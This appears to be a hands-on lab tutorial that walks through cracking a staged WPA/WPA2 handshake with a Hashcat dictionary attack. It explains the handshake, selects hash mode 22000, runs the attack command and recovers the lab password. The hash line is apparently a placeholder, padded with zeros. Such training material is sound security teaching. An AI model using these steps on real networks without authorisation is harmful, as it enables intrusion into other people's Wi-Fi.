Introduction
WPA/WPA2 is a common security protocol used to protect wireless networks. However, if a weak pre-shared key (PSK) is used, it can be vulnerable to offline cracking attacks. This process involves capturing a "handshake" that occurs when a device connects to the network and then using a tool to guess the password.
In this lab, you will learn how to use Hashcat, one of the world's fastest and most advanced password recovery tools, to crack a WPA/WPA2 handshake. We will use a pre-captured handshake file and a simple wordlist to simulate a real-world scenario. By the end of this lab, you will understand the fundamental steps of a dictionary attack against a Wi-Fi network.
Understand the WPA WPA2 Cracking Process
In this step, we will cover the theory behind cracking a WPA/WPA2 network. This conceptual understanding is crucial before we dive into the practical commands.
The security of a WPA/WPA2 network relies on a Pre-Shared Key (PSK), which is the Wi-Fi password you enter to connect. When a new device connects to the network, it performs a "4-way handshake" with the access point (router) to verify that both the device and the network have the correct PSK.
This handshake process is what interests us. The messages exchanged during the handshake contain a hashed version of the PSK. They do not contain the plain-text password itself.
The cracking process works as follows:
- Capture: An attacker captures the 4-way handshake packets from the air.
- Offline Attack: The captured handshake is saved to a file.
- Guess and Compare: A tool like Hashcat takes a password guess from a wordlist, applies the same complex hashing algorithm that the router uses, and compares the result to the hash in the captured file.
- Match: If the hashes match, the guessed password is the correct one.
This is called an "offline dictionary attack" because the cracking happens on the attacker's own computer without any further interaction with the live network, using a dictionary (wordlist) of possible passwords.
This lab will focus on steps 3 and 4, using a pre-captured handshake file.
Examine the Hashcat-Ready Handshake File
In this step, we will examine the files prepared for our cracking session. For an efficient attack, Hashcat requires the captured handshake to be in a specific format, .hc22000.
For this lab, a file named handshake.hc22000 has already been created and placed in your ~/project directory. This file contains all the necessary information from a 4-way handshake (like MAC addresses, nonces, and the hashed PSK) in a format that is highly optimized for Hashcat.
First, let's verify that the handshake file and our wordlist exist. Use the ls -l command to list the files in the current directory.
ls -l
You should see the handshake.hc22000 file and the wordlist.txt file.
-rw-r--r-- 1 labex labex 311 Dec 01 12:00 handshake.hc22000
-rw-r--r-- 1 labex labex 45 Dec 01 12:00 wordlist.txt
You can also view the contents of the handshake.hc22000 file using the cat command.
cat handshake.hc22000
The output will be a single line of text that is not easily human-readable. This string contains all the components of the handshake, separated by asterisks (*), ready for Hashcat to process.
WPA*02*b8f824b4455989a145a3341063834763*001122334455*aabbccddeeff*LabEx-Net*0103005f900200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000-
Select the Correct Hash Mode for WPA WPA2
In this step, we need to tell Hashcat what type of hash we are trying to crack. Hashcat supports hundreds of different hash algorithms, and each one is identified by a unique mode number.
To find the correct mode for our .hc22000 file, we can consult Hashcat's help menu. We'll use the grep command to filter the output for "WPA" to quickly find what we need.
Execute the following command in your terminal:
hashcat --help | grep "WPA"
This command will display all the hash modes related to WPA/WPA2.
...
22000 | WPA-PBKDF2-PMKID+EAPOL | Network Protocols
...
From the output, we can see that the mode for WPA-PBKDF2-PMKID+EAPOL is 22000. This is the mode designed specifically for .hc22000 files, which can contain either a full EAPOL handshake or a PMKID. This is the mode we will use in the next step.
Launch a Dictionary Attack on the Handshake File
In this step, we will launch the dictionary attack using Hashcat. We have all the necessary components: the hash file, the wordlist, and the correct hash mode.
A dictionary attack works by taking each word from our wordlist.txt, hashing it, and comparing it to the hash in handshake.hc22000.
Let's construct the full command. We will use the -m flag to specify the mode we found in the previous step.
hashcat -m 22000 handshake.hc22000 wordlist.txt
Let's break down this command:
hashcat: The program we are running.-m 22000: Specifies the hash mode (WPA/WPA2).handshake.hc22000: The target hash file we want to crack.wordlist.txt: The dictionary file containing password candidates.
Now, run the command. Hashcat will start, initialize its backend, and begin the attack.
hashcat (v6.2.x) starting...
...
Session..........: hashcat
Status...........: Running
Hash.Name........: WPA-PBKDF2-PMKID+EAPOL
Hash.Target......: handshake.hc22000
Time.Started.....: ...
Time.Estimated...: ...
Guess.Base.......: File (wordlist.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: XXXXX H/s (XX.xxms) @ Accel:X Loops:X
Recovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts
Progress.........: 7/7 (100.00%)
Rejected.........: 0/7 (0.00%)
Restore.Point....: 7/7 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: test -> root
Hardware.Mon.#1..: Temp: Xc Fan: X% Util: X% Core:XMHz Mem:XMHz Bus:X
Session..........: hashcat
Status...........: Cracked
...
After a few moments, the status will change from Running to Cracked. This indicates that Hashcat has successfully found the password in your wordlist.
Identify the Cracked Pre-Shared Key
In this step, we will view the password that Hashcat successfully recovered.
When Hashcat cracks a hash, it saves the result to a file called a "potfile" (located at ~/.local/share/hashcat/hashcat.potfile by default). This prevents you from wasting time re-cracking the same hash in the future.
The easiest way to see the cracked password is to use Hashcat's --show option. This command checks the potfile for any cracked hashes corresponding to the input hash file and displays them.
Run the following command:
hashcat -m 22000 handshake.hc22000 --show
The output will display the original hash string from your file, followed by a colon, and then the cracked plain-text password.
WPA*02*b8f824b4455989a145a3341063834763*001122334455*aabbccddeeff*LabEx-Net*0103005f900200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000- :password123
As you can see, the recovered password is password123.
Summary
Congratulations on completing this lab! You have successfully cracked a WPA/WPA2 pre-shared key using Hashcat.
In this lab, you learned how to:
- Understand the basic principle of a WPA/WPA2 handshake cracking attack.
- Recognize the
.hc22000file format used by Hashcat. - Identify the correct Hashcat mode (
-m 22000) for WPA/WPA2 attacks. - Launch a dictionary attack using a hash file and a wordlist.
- View the recovered password using the
--showcommand.
This exercise demonstrates the importance of using strong, complex passwords for your Wi-Fi network, as simple passwords can be easily discovered with dictionary attacks. You can now explore more advanced Hashcat features, such as different attack modes (like brute-force) and rules-based attacks.


